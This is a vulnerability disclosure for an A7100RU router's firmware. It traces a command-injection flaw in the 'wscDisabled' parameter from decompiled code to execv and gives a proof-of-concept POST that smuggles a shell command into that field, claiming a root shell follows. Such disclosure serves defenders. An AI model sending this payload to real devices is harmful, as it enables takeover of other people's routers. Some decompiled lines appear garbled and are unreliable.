

A7100RU		0	verview Tech Specs HD	Image Download FAQ
NO	Name	Version	Updated	Download
1	A7100RU_HD PHOTO	Ver1.0	2019-05-07	•
2	A7100RU_Datasheet	Ver1.0	2020-08-07	•
3	A7100RU_Firmware	V7.4cu.2313_B20191024	2020-08-09	•
4	A7100RU_QIG	Ver1.0	2020-08-09	•

Figure 1 shows the latest firmware Ba of the router

## 2. Vulnerability details

```
v2 = websGetVar(a1, "wifiIdx", "0");
13 v3 = websGetVar(a1, "wscMode", "");
14 v5 = websGetVar(a1, "wscDisabled", "");
     v4 = websGetVar(a1, "pin", "21595684");
     v6 = v2;
     v8 = v4;
     v7 = atoi(v6);
\bullet 19 v9 = v7;
     if ( v7 )
20
22
       if (v7 == 1)
         Uci_Set_Str(17, "mt7615e5", "wscStatus", "0");
         Uci Set Str(17, "mt7615e5", "wscBegin", "1");
       Uci_Set_Str(17, "mt7615e5", "wscDisabled", v5);
         Uci_Set_Str(17, "mt7615e5", "wscMode", v3);
28
          if ( atoi(v3) == v9 && !atoi(v5) )
           Uci_Set_Str(17, "mt7615e5", "wscPin", v8);
30
         Uci_Commit(17);
          setLktosEffect("wps5g");
```

The program passes the content obtained by the wscdisabled parameter to the V5 parameter, and then brings V5 into UCI\_ Set\_ STR function

```
184    else
185         v9 = "Unknown ID";
186         break;
187    }
188    snprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);
189    CsteSystem(v11, 0);
190    return 1;
191}
```

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

```
// {
    v6[2] = (int)a1;
    v6[3] = 0;
    v6[0] = (int)&off_ABA4;
    v6[1] = (int)&off_ABA8;
    if ( a2 )
        printf("[system]: %s\r\n", a1);
    execv("/bin/sh", v6);
    exit(12/);
    result = eval();
}
```

The function directly brings user input into the execv function, which has a command injection vulnerability

## 3. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V7.4cu.2313 B20191024
- 2. Attack with the following overflow POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
```

```
Content-Type: application/x-www-form-urencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close

{"topicurl":"setting/setWiFiWpsCfg",
"wscDisabled":"1$(ls>/tmp/123;)"}
```

The reproduction results are as follows:



Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

